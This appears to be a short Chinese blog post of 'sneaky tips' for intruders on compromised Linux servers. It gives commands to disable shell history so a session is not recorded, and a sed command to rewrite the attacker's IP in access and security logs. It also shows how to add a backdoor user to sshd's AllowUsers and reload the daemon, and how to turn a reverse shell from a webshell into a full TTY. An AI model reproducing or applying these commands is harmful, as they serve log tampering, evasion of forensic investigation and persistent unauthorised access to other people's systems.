查看文章 |
some shit tips
2009-08-17 7:05
一些我常用到的猥琐的tips,猥琐流使用,非猥琐流请飘过1,登录ssh之后不记录history unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 2. sed的一些邪恶用法 邪恶的替换到登录的IP和日志里的访问IP sed -s 's/211.xxx.xxx.xxx/192.168.1.1/g' access_log access.log security 邪恶的添加ssh限制登录的用户 sed -i 's/AllowUsers fuck root oracle/AllowUsers fuck root oracle rqcuser/g' sshd_config 不过这个添加之后要强制重启sshd服务才可以生效 lsof -i:22 查找sshd的进程ID COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME sshd 18662 root 11u IPv6 27925867 TCP *:ssh (LISTEN) sshd 31793 sshd 12u IPv6 34742994 TCP 192.168.1.2:ssh->192.168.1.5:49080 (ESTABLISHED) 然后 kill -SIGHUP 18662 3.通过webshell反弹shell回来之后获取真正的ttyshell python -c 'import pty; pty.spawn("/bin/sh")' 4.Windows下面NC监听linux返回shell执行命令不能正确换行的解决办法 unalias ls |
最近读者:

一些我常用到的猥琐的tips,猥琐流使用,非猥琐流请飘过